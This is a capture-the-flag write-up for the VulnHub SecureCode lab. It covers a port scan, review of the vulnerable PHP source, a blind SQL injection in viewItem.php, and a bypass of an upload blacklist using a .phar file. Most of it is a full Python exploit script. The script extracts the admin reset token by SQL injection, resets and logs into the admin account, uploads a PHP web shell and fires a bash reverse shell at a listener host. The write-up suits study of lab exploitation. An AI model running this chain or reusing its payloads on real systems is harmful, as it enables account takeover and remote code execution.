Skip to content

SecureCode

https://www.vulnhub.com/entry/securecode-1,651

Network Discovery

$ sudo netdiscover

Port scan

$ sudo nmap 192.168.255.142 -p- -T4 --min-rate=10000 -sCV

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Coming Soon 2
| http-robots.txt: 1 disallowed entry 
|_/login/*
|_http-server-header: Apache/2.4.29 (Ubuntu)
MAC Address: 00:0C:29:76:E7:7A (VMware)

WEB APP

Source code: http://192.168.255.142/source_code.zip

login/resetPassword.php

<?php

include "../include/header.php";
$username = mysqli_real_escape_string($conn, @$_POST['username']);

if(isset($username) and ctype_alnum($username)){

    $data = mysqli_query($conn, "SELECT * FROM user");
    $users = [];
    while($result= mysqli_fetch_array($data)){
        array_push($users, $result['username']);
    }

    if(in_array($username, $users)){

        $token = generateToken();
        mysqli_query($conn,"UPDATE user SET token = '$token' WHERE username = '$username'");
        send_email($username, $token);
        $_SESSION['status']=" Password Reset Link has been sent to you via Email, please check it out.";    
        header("location: login.php");
        die();

    }else{

        $_SESSION['danger']=" Username not found.";
        header("location: resetPassword.php");
        die();

    }

}else{

?>

login/doResetPassword.php

<?php

include "../include/header.php";

$p_token = $_GET['token'];

$data = mysqli_query($conn, "SELECT * FROM user");
$tokens = [];
while($result = mysqli_fetch_array($data)){
    array_push($tokens, $result['token']);
}

if(ctype_alnum($p_token) AND in_array($p_token, $tokens)){

?>

It uses a token to reset password.

When view item/ folder, all PHP files include ../include/isAuthenticated.php to check authentication except item/viewItem.php

<?php

// Still under development
session_start();
ini_set("display_errors", 0);
include "../include/connection.php";

// see if user is authenticated, if not then redirect to login page
if($_SESSION['id_level'] != 1){

    $_SESSION['danger'] = " You not have access to visit that page";
    header("Location: ../login/login.php");

}
// only for users with level 1 (admins)
// prevent SQL injection
$id = mysqli_real_escape_string($conn, $_GET['id']);
$data = mysqli_query($conn, "SELECT * FROM item WHERE id = $id");
$result = mysqli_fetch_array($data);

//var_dump($result);
if(isset($result['id'])){
    http_response_code(404);
}
?>

mysqli_real_escape_string | documentation

alt text

-- check database name hackshop
and ascii(substr(database(),1,1))=104 -- -

-- when use hex need to use ' which is not allowed
and+hex(substring(database(),4,1))='6b'+--+-

GET /item/viewItem.php?id=1+and+ascii(substring(database(),4,1))=107+--+-

When the subsequence query is true , the response is 404 Not Found

alt text

When the subsequence query is false, the resposne is 302 Found

GET /item/viewItem.php?id=1+and+1=3+--+-

alt text

In item/updateItem.php it doesn't check MIME type, can use .phar to avoid extension check.

<?php 

include "../include/header.php";
include "../include/isAuthenticated.php";

$id = mysqli_real_escape_string($conn, $_POST['id']);
$id_user = mysqli_real_escape_string($conn, $_POST['id_user']);
$name = mysqli_real_escape_string($conn, $_POST['name']);
$imgname = mysqli_real_escape_string($conn, $_FILES['image']['name']);
$description = mysqli_real_escape_string($conn, $_POST['description']);
$price = mysqli_real_escape_string($conn, $_POST['price']);

$blacklisted_exts = array("php", "phtml", "shtml", "cgi", "pl", "php3", "php4", "php5", "php6");

if(isset($id, $id_user, $name, $imgname, $description, $price)){

    $ext = strtolower(pathinfo($imgname)['extension']);
    if(!in_array($ext, $blacklisted_exts)){

        $up = move_uploaded_file($_FILES['image']['tmp_name'], "image/".$imgname);
        $res = mysqli_query($conn, "UPDATE item SET name='$name', imgname='$imgname', description='$description',price='$price' WHERE id='$id'");
        if($res == true AND $up == true){
            $_SESSION['status']=" Item data has been edited";
        }else{
            $_SESSION['danger']=" Failed to edit Item";
        }
        header("Location: index.php");
        die();

    }else{
        $_SESSION['danger']=" File is not accepted.";
        header("Location: index.php");
        die();
    }

}else{
    $_SESSION['danger']=" Some Fields are missing.";
    header("Location: index.php");
}
?>

alt text

alt text

alt text

alt text

All in one, POC

import requests, argparse
from concurrent.futures import ThreadPoolExecutor, as_completed

ALPHANUMERIC="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"

proxies = {
    "http":"http://127.0.0.1:8080",
    "https":"http://127.0.0.1:8080"
}

def send_reset_password_token(session, target):
    url = f"http://{target}/login/resetPassword.php"
    data = {
        "username":"admin"
    }

    headers = {
        "Referer": f"http://{target}/login/login.php",
        "Origin": f"http://{target}"
    }
    response = session.post(url, data=data, headers=headers, proxies=proxies, verify=False)
    if "Password Reset Link has been sent to you via Email, please check it out." in response.text:
        print("Password Reset Link has been sent to you via Email, please check it out.")
        return True
    print("Password reset request failed!")
    return False

def send_request(session, position, char, target):
    url = f"http://{target}/item/viewItem.php"

    ascii_value = ord(char)

    # cannot use ' cause the source code calls mysqli_real_escape_string function to avoid sql injection
    payload = f"1 and (select ASCII(SUBSTRING(token,{position},1)) from user where id=1 limit 1)={ascii_value} -- -"
    # print("payload: ", payload)
    params = {
        "id": payload
    }
    response = session.get(url, params=params, proxies=proxies, verify=False, allow_redirects=False)
    if response.status_code == 404:
        return char
    return None

def enumerate_token(session, target):
    extracted_token = ""
    position = 1

    while True:
        for char in ALPHANUMERIC:
            result = send_request(session, position,char, target)
            if result:
                    extracted_token += result
                    print(f"[+] Found character {position}: {result}")
                    break
        else:
            print(f"[!] Token extraction complete. Final token: {extracted_token}")
            break
        position += 1
    return extracted_token

def reset_admin_password(session, target, token):
    url = f"http://{target}/login/doResetPassword.php"
    params = {
        "token":token
    }
    response = session.get(url, params=params, proxies=proxies, verify=False, allow_redirects=False)
    if "Valid Token Provided" in response.text:
        change_admin_password(session, target, token)
    else:
        print("Invalid token.")

def change_admin_password(session, target, token):
    url = f"http://{target}/login/doChangePassword.php"
    data = {
        "token":token,
        "password":"admin1234!"
    }
    response = session.post(url, data=data, proxies=proxies, verify=False)
    if "Password Changed" in response.text:
        print("Admin password changed.")
    else:
        print("Admin password changes failed.")

def admin_login(session, target):
    url = f"http://{target}/login/checkLogin.php"
    data = {  
        "username":"admin",
        "password":"admin1234!"
    }
    response = session.post(url, data=data, proxies=proxies, verify=False, allow_redirects=False)
    if response.status_code == 302:
        print("Login succeed.")
        return True
    else:
        print("Login failed.")
        return False

def rce(session, target, lhost, lport):
    url = f"http://{target}/item/updateItem.php"
    boundary = "---------------------------394859077438028058264268240339"
    headers = {         
        "Content-Type": f"multipart/form-data; boundary={boundary}",       
        "Accept-Encoding": "gzip, deflate, br",
        "Referer": f"http://{target}/item/editItem.php?id=1",
        "Origin": f"http://{target}"
    }

    # Manually construct the multipart body
    body = (
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="id"\r\n\r\n'
        f"1\r\n"
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="id_user"\r\n\r\n'
        f"1\r\n"
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="name"\r\n\r\n'
        f"Raspery Pi 4\r\n"
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="image"; filename="sample.phar"\r\n'
        f'Content-Type: application/x-php\r\n\r\n'
        f"<?php system($_GET['cmd']); ?>\r\n"
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="description"\r\n\r\n'
        f"Latest Raspberry Pi 4 Model B with 2/4/8GB RAM raspberry pi 4 BCM2711 Quad core Cortex-A72 ARM v8 1.5GHz Speeder Than Pi 3B\r\n"
        f"--{boundary}\r\n"
        f'Content-Disposition: form-data; name="price"\r\n\r\n'
        f"92\r\n"
        f"--{boundary}--\r\n"
    ).encode('utf-8')

    response = session.post(url, data=body, headers=headers, proxies=proxies, verify=False, allow_redirects=False)
    if "Success!" in response.text:
        print("Item has been successfully edited, triggering RCE.....")
        url = f"http://{target}/item/image/sample.phar"
        params = {
            "cmd":fr"bash -c 'bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'"
        }
        session.get(url, params=params, proxies=proxies, verify=False)
    else:
        print("Editing item failed.")

if __name__=="__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("-t", "--target", help="target website IP:Port", required=True)
    parser.add_argument("-l", "--lhost", help="Local listener's IP", required=True)
    parser.add_argument("-p", "--lport", help="Local listener's port", required=True)
    args = parser.parse_args()

    session = requests.Session()
    label = send_reset_password_token(session, args.target)

    if label:
        token = enumerate_token(session, args.target)

        if token:
            reset_admin_password(session, args.target, token)
            label = admin_login(session, args.target)
            if label:
                rce(session, args.target, args.lhost, args.lport)